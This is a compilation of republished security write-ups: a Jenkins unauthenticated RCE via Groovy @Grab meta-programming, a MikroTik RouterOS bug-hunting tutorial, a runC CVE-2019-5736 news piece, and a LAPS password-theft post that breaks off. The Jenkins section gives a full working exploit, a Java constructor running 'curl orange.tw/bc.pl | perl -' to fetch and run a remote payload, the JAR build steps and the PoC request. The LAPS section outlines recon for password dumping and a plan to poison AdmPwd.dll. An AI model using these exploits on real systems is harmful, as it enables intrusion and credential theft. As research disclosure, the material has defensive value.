Hacking Jenkins Part 2 — Abusing Meta Programming for Unauthenticated RCE!

Original text by orange

Hello everyone!

This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check following link to get some basis and see how vulnerable Jenkins’ dynamic routing is!

As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things 🙁

After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading 🙂

Vulnerability Analysis


First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy)

In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library!

As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline:

public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via doCheckScript)
}

Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running execute() method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing 🙁

this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any execute() method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind!

What is Meta-Programming


Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language!

If it is still hard to understand, you can just regard eval(...) as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example:

  • C Macro
  • C++ Template
  • Java Annotation
  • Ruby (Ruby is a Meta-Programming friendly language, even there are books for that)
  • DSL(Domain Specific Languages, such as Sinatra and Gradle)

When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming!

P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! WikiRef1Ref2
P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)>

How to Exploit?


From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage?

There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as he macro expansion in C language:

#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};

or the compiler resource bomb(make a 16GB ELF by just 18 bytes):

int main[-1u]={1};

or calculating the Fibonacci number by compiler

template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time!

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow!

First Attempt

Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the @groovy.transform.ASTTest annotation. Here is its description:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:

What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

Cool, it works! However, while reproducing this on the remote Jenkins, it shows:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

What the hell!!! What’s wrong with that?

With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error unsable to resolve class occurs!

How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way!

Second Attempt

We continue reading the Groovy Meta-Programming manual and found another interesting annotation — @Grab. There is no detailed information about @Grab on the manual. However, we found another article — Dependency management with Grape on search engine!

Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like:

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

By using @Grab annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoCproveded by @adamyordan to execute arbitrary commands!

However, without a valid credential and execute() method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about @Grab, we found another interesting annotation — @GrabResolver:

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

If you are smart enough, you would like to change the root parameter to a malicious website! Let’s try this in local environment:

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution?

The Way to Code Execution


In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?

By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)!

void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this:

void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code!

Here is the full exploit:

public class Poc {
    public Poc(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}
$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

Video:

Epilogue


With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time!

Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points doCheckScriptCompile(...) and toJson(...) I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability!

Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain 😛

Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future 🙂

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Make It Rain with MikroTik

Original text by Jacob Baines

Can you hear me in the… front?

I came into work to find an unusually high number of private Slack messages. They all pointed to the same tweet.

Why would this matter to me? I gave a talk at Derbycon about hunting for bugs in MikroTik’s RouterOS. I had a 9am Sunday time slot.

You don’t want a 9am Sunday time slot at Derbycon

Now that Zerodium is paying out six figures for MikroTik vulnerabilities, I figured it was a good time to finally put some of my RouterOS bug hunting into writing. Really, any time is a good time to investigate RouterOS. It’s a fun target. Hell, just preparing this write up I found a new unauthenticated vulnerability. You could too.


Laying the Groundwork

Now I know you’re already looking up Rolex prices, but calm down, Sparky. You still have work to do. Even if you’re just planning to download a simple fuzzer and pray for a pay day, you’ll still need to read this first section.

Acquiring Software

You don’t have to rush to Amazon to acquire a router. MikroTik makes RouterOS ISOs available on their website. The ISO can be used to create a virtual host with VirtualBox or VMWare.

Naturally, Mikrotik published 6.42.12 the day I published this blog

You can also extract the system files from the ISO.

albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Processing archive: mikrotik-6.42.11.iso
Extracting  advanced-tools-6.42.11.npk
Extracting calea-6.42.11.npk
Extracting defpacks
Extracting dhcp-6.42.11.npk
Extracting dude-6.42.11.npk
Extracting gps-6.42.11.npk
Extracting hotspot-6.42.11.npk
Extracting ipv6-6.42.11.npk
Extracting isolinux
Extracting isolinux/boot.cat
Extracting isolinux/initrd.rgz
Extracting isolinux/isolinux.bin
Extracting isolinux/isolinux.cfg
Extracting isolinux/linux
Extracting isolinux/TRANS.TBL
Extracting kvm-6.42.11.npk
Extracting lcd-6.42.11.npk
Extracting LICENSE.txt
Extracting mpls-6.42.11.npk
Extracting multicast-6.42.11.npk
Extracting ntp-6.42.11.npk
Extracting ppp-6.42.11.npk
Extracting routing-6.42.11.npk
Extracting security-6.42.11.npk
Extracting system-6.42.11.npk
Extracting TRANS.TBL
Extracting ups-6.42.11.npk
Extracting user-manager-6.42.11.npk
Extracting wireless-6.42.11.npk
Extracting [BOOT]/Bootable_NoEmulation.img
Everything is Ok
Folders: 1
Files: 29
Size: 26232176
Compressed: 26335232

MikroTik packages a lot of their software in their custom .npk format. There’s a tool that’ll unpack these, but I prefer to just use binwalk.

albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------
0 0x0 NPK firmware header, image size: 15616295, image name: "system", description: ""
4096 0x1000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10
9822304 0x95E060 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9842177 0x962E01 Unix path: /sys/devices/system/cpu
9846974 0x9640BE ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9904147 0x972013 Unix path: /sys/devices/system/cpu
9928025 0x977D59 Copyright string: "Copyright 1995-2005 Mark Adler "
9928138 0x977DCA CRC32 polynomial table, little endian
9932234 0x978DCA CRC32 polynomial table, big endian
9958962 0x97F632 xz compressed data
12000822 0xB71E36 xz compressed data
12003148 0xB7274C xz compressed data
12104110 0xB8B1AE xz compressed data
13772462 0xD226AE xz compressed data
13790464 0xD26D00 xz compressed data
15613512 0xEE3E48 xz compressed data
15616031 0xEE481F Unix path: /var/pdb/system/crcbin/milo 3801732988
albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/
total 64
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
lrwxrwxrwx 1 albinolobster 11 Dec 21 04:18 dude -> /flash/dude
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 pckg -> /ram/pckg
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 rw -> /flash/rw
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
lrwxrwxrwx 1 albinolobster 7 Dec 21 04:18 tmp -> /rw/tmp
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var
albinolobster@ubuntu:~/6.42.11$

Hack the Box

When looking for vulnerabilities it’s helpful to have access to the target’s filesystem. It’s also nice to be able to run tools, like GDB, locally. However, the shell that RouterOS offers isn’t a normal unix shell. It’s just a command line interface for RouterOS commands.

Who am I?!

Fortunately, I have a work around that will get us root. RouterOS will execute anything stored in the /rw/DEFCONF file due the way the rc.d script S12defconf is written.

Friends don’t let friends use eval

A normal user has no access to that file, but thanks to the magic of VMs and Live CDs you can create the file and insert any commands you want. The exact process takes too many words to explain. Instead I made a video. The screen recording is five minutes long and it goes from VM installation all the way through root telnet access.

With root telnet access you have full control of the VM. You can upload more tooling, attach to processes, watch logs, etc. You’re now ready to explore the router’s attack surface.


Is Anyone Listening?

You can quickly determine the network reachable attack surface thanks to the ps command.

Looks like the router listens on some well known ports (HTTP, FTP, Telnet, and SSH), but also some lesser known ports. btest on port 2000 is the bandwidth-test server. mproxy on 8291 is the service that WinBox interfaces with. WinBox is an administrative tool that runs on Windows. It shares all the same functionality as the Telnet, SSH, and HTTP interfaces.

Hello, I load .dll straight off the router. Yes, that has been a problem. Why do you ask?

The Real Attack Surface

The ps output makes it appear as if there are only a few binaries to bug hunt in. But nothing could be further from the truth. Both the HTTP server and Winbox speak a custom protocol that I’ll refer to as WinboxMessage (the actual code calls it nv::message). The protocol specifies which binary a message should be routed to. In truth, with all packages installed, there are about 90 different network reachable binaries that use the WinboxMessage protocol.

There’s also an easy way to figure out which binaries I’m referring to. A list can be found in each package’s /nova/etc/loader/*.x3 file. x3 is a custom file format so I wrote a parser. The example output goes on for a while so I snipped it a bit.

albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3 
/nova/bin/log,3
/nova/bin/radius,5
/nova/bin/moduler,6
/nova/bin/user,13
/nova/bin/resolver,14
/nova/bin/mactel,15
/nova/bin/undo,17
/nova/bin/macping,18
/nova/bin/cerm,19
/nova/bin/cerm-worker,75
/nova/bin/net,20
...

The x3 file also contains each binary’s “SYS TO” identifier. This is the identifier that the WinboxMessage protocol uses to determine where a message should be handled.


Me Talk WinboxMessage Pretty One Day

Knowing which binaries you should be able to reach is useful, but actually knowing how to communicate with them is quite a bit more important. In this section, I’ll walk through a couple of examples.

Getting Started

Let’s say I want to talk to /nova/bin/undo. Where do I start? Let’s start with some code. I’ve written a bunch of C++ that will do all of the WinboxMessage protocol formatting and session handling. I’ve also created a skeleton programthat you can build off of. main is pretty bare.

std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, ip, port))
{
return EXIT_FAILURE;
}
Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}
return EXIT_SUCCESS;

You can see the Winbox_Session class is responsible for connecting to the router. It’s also responsible for authentication logic as well as sending and receiving messages.

Now, from the output above, you know that /nova/bin/undo has a SYS TO identifier of 17. In order to reach undo, you need to update the code to create a message and set the appropriate SYS TO identifier (the new part is bolded).

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}
WinboxMessage msg;
msg.set_to(17);

Command and Control

Each message also requires a command. As you’ll see in a little bit, each command will invoke specific functionality. There are some builtin commands (0xfe0000–0xfe00016) used by all handlers and some custom commands that have unique implementations.

Pop /nova/bin/undo into a disassembler and find the nv::Looper::Looperconstructor’s only code cross reference.

Follow the offset to vtable that I’ve labeled undo_handler and you should see the following.

This is the vtable for undo’s WinboxMessage handling. A bunch of the functions directly correspond to the builtin commands I mentioned earlier (e.g. 0xfe0001 is handled by nv::Handler::cmdGetPolicies). You can also see I’ve highlighted the unknown command function. Non-builtin commands get implemented there.

Since the non-builtin commands are usually the most interesting, you’re going to jump into cmdUnknown. You can see it starts with a command based jump table.

It looks like the commands start at 0x80001. Looking through the code a bit, command 0x80002 appears to have a useful string to test against. Let’s see if you can reach the “nothing to redo” code path.

You need to update the skeleton code to request command 0x80002. You’ll also need to add in the send and receive logic. I’ve bolded the new part.

WinboxMessage msg;
msg.set_to(17);
msg.set_command(0x80002);
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
std::cout << "req: " << msg.serialize_to_json() << std::endl;
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

if (msg.has_error())
{
std::cerr << msg.get_error_string() << std::endl;
return EXIT_FAILURE;
}
return EXIT_SUCCESS;

After compiling and executing the skeleton you should get the expected, “nothing to redo.”

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}
nothing to redo
albinolobster@ubuntu:~/routeros/poc/skeleton/build$

There’s Rarely Just One

In the previous example, you looked at the main handler in undo which was addressable simply as 17. However, the majority of binaries have multiple handlers. In the following example, you’ll examine /nova/bin/mproxy’s handler #2. I like this example because it’s the vector for CVE-2018–14847and it helps demystify these weird binary blobs:

My exploit for CVE-2018–14847 delivers a root shell. Just sayin’.

Hunting for Handlers

Open /nova/bin/mproxy in IDA and find the nv::Looper::addHandler import. In 6.42.11, there are only two code cross references to addHandler. It’s easy to identify the handler you’re interested in, handler 2, because the handler identifier is pushed onto the stack right before addHandler is called.

If you look up to where nv::Handler* is loaded into edi then you’ll find the offset for the handler’s vtable. This structure should look very familiar:

Again, I’ve highlighted the unknown command function. The unknown command function for this handler supports seven commands:

  1. Opens a file in /var/pckg/ for writing.
  2. Writes to the open file.
  3. Opens a file in /var/pckg/ for reading.
  4. Reads the open file.
  5. Cancels a file transfer.
  6. Creates a directory in /var/pckg/.
  7. Opens a file in /home/web/webfig/ for reading.

Commands 4, 5, and 7 do not require authentication.

Open a File

Let’s try to open a file in /home/web/webfig/ with command 7. This is the command that the FIRST_PAYLOAD in the exploit-db screenshot uses. If you look at the handling of command 7 in the code, you’ll see the first thing it looks for is a string with the id of 1.

The string is the filename you want to open. What file in /home/web/webfig is interesting?

The real answer is “none of them” look interesting. But list contains a list of the installed packages and their version numbers.

Let’s translate the open file request into WinboxMessage. Returning to the skeleton program, you’ll want to overwrite the set_to and set_commandcode. You’ll also want to insert the add_string. I’ve bolded the new portion again.

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}
WinboxMessage msg;
msg.set_to(2,2); // mproxy, second handler
msg.set_command(7);
msg.add_string(1, "list"); // the file to open

msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
std::cout << "req: " << msg.serialize_to_json() << std::endl;
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

When running this code you should see something like this:

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}
albinolobster@ubuntu:~/routeros/poc/skeleton/build$

You can see the response from the server contains u2:1818. Look familiar?

1818 is the size of the list

As this is running quite long, I’ll leave the exercise of reading the file’s content up to the reader. This very simple CVE-2018–14847 proof of concept contains all the hints you’ll need.

Conclusion

I’ve shown you how to get the RouterOS software and root a VM. I’ve shown you the attack surface and taught you how to navigate the system binaries. I’ve given you a library to handle Winbox communication and shown you how to use it. If you want to go deeper and nerd out on protocol minutiae then check out my talk. Otherwise, you now know enough to be dangerous.

Good luck and happy hacking!

SensorsTechForum NEWSTHREAT REMOVALREVIEWSFORUMSSEARCH NEWS CVE-2019-5736 Linux Flaw in runC Allows Unauthorized Root Access

Original text by Milena Dimitrova

CVE-2019-5736 is yet another Linux vulnerability discovered in the core runC container code. The runC tool is described as a lightweight, portable implementation of the Open Container Format (OCF) that provides container runtime.

CVE-2019-5736 Technical Details

The security flaw potentially affects several open-source container management systems. Shortly said, the flaw allows attackers to get unauthorized, root access to the host operating system, thus escaping Linux container.

In more technical terms, the vulnerability:

allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe, as explained in the official advisory.

The CVE-2019-5736 vulnerability was unearthed by open source security researchers Adam Iwaniuk and Borys Popławski. However, it was publicly disclosed by Aleksa Sarai, a senior software engineer and runC maintainer at SUSE Linux GmbH on Monday.

“I am one of the maintainers of runc (the underlying container runtime underneath Docker, cri-o, containerd, Kubernetes, and so on). We recently had a vulnerability reported which we have verified and have a
patch for,” Sarai wrote.

The researcher also said that a malicious user would be able to run any command (it doesn’t matter if the command is not attacker-controlled) as root within a container in either of these contexts:

– Creating a new container using an attacker-controlled image.
– Attaching (docker exec) into an existing container which the attacker had previous write access to.

It should also be noted that CVE-2019-5736 isn’t blocked by the default AppArmor policy, nor
by the default SELinux policy on Fedora[++], due to the fact that container processes appear to be running as container_runtime_t.

Nonetheless, the flaw is blocked through correct use of user namespaces where the host root is not mapped into the container’s user namespace.

 Related: CVE-2018-14634: Linux Mutagen Astronomy Vulnerability Affects RHEL and Cent OS Distros

CVE-2019-5736 Patch and Mitigation

Red Hat says that the flaw can be mitigated when SELinux is enabled in targeted enforcing mode, a condition which comes by default on RedHat Enterprise Linux, CentOS, and Fedora.

There’s also a patch released by the maintainers of runC available on GitHub. Please note that all projects which are based on runC should apply the patches themselves.

Who’s Affected?

Debian and Ubuntu are vulnerable to the vulnerability, as well as container systems running LXC, a Linux containerization tool prior to Docker. Apache Mesos container code is also affected.

Companies such as Google, Amazon, Docker, and Kubernetes are have also released fixes for the flaw.

Malicious use of Microsoft LAPS

Original text by Akijosberry

LAPS Overview:

LAPS (Local Administrator Password Solution) is a tool for managing local administrator passwords for domain joined computers. It stores passwords/secrets in a confidential attribute in the computer’s corresponding active directory object. LAPS eliminates the risk of lateral movement by generating random passwords of local administrators. LAPS solution is a Group Policy Client Side Extension (CSE) which is installed on all managed machines to perform all management tasks.

Domain administrators and anyone who has full control on computer objects in AD can read and write both pieces of information (i.e., password and expiration timestamp). Password’s stored in AD is protected by ACL, it is up to the sysadmins to define who can and who cannot read the attributes. When transferred over the network, both password and time stamp are encrypted by kerberos and when stored in AD both password and time stamp are stored in clear text.

Components of LAPS:
  • Agent – Group Policy Client Extension(CSE)
    • Event Logging and Random password generation
  • PowerShell Module
    • Solution configuration
  • Active Directory
    • Computer Object, Confidential attribute, Audit trail in security log of domain controller
Reconnaissance:

Firstly, we will identify whether LAPS solution has been installed on the machine which we had gained a foothold. We will leverage powershell cmdlet to identify if the admpwd.dll exist or not.

1Get-ChildItem ‘c:\program files\LAPS\CSE\Admpwd.dll’

The very next step would be identifying who has read access to ms-Mcs-AdmPwd. we can use Powerviewfor identifying users having read access to ms-Mcs-AdmPwd

12345Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs |Where-Object {($_.ObjectType -like 'ms-Mcs-AdmPwd') -and($_.ActiveDirectoryRights -match 'ReadProperty')}
PowerView_Cmd.png

If RSAT(Remote Server Administration Tools) is enabled on the victim machine, then there is an interesting way of identifying user’s having access to ms-Mcs-AdmPwd. we can simply fire the command:

1dsacls.exe 'Path to the AD DS Object'
Dumping LAPS password:

Once you have identified the user’s who has read access to ms-Mcs-AdmPwd, the next thing would be compromising those user accounts and then dumping LAPS password in clear text.

I already did a blog post on ‘Dump LAPS password in clear text‘  and would highly encourage readers to have look at that post as well.

Tip: It is highly recommended to provide ms-Mcs-AdmPwd  read access to only those who actually manage those computer objects and remove unwanted users from having read access.

Poisoning AdmPwd.dll:

Most of the previous research/attacks are focused on the server side (i.e., looking for accounts who can read the passwords) not on the client side. Microsoft’s LAPS is a client side extension which runs a single dll that manages password (admpwd.dll).

LAPS was based on open source solution called “AdmPwd” developed by Jiri Formacek and is a part of microsoft product portfolio since may 2015. The LAPS solution does not have integrity checks or signature verification for dll file. AdmPwd solution is compatible with Microsoft’s LAPS, so let’s poison the dll by compiling the project from source and replace it with the original dll. To replace the original dll administrative privilege is required and at this point we assume the user already has gained administrator privilege by LPE or any other means.

Now let’s add these 3-4 lines in the AdmPwd solution and compile the malicious dll. These lines will be added where the new password and time stamp would be reported to the AD.

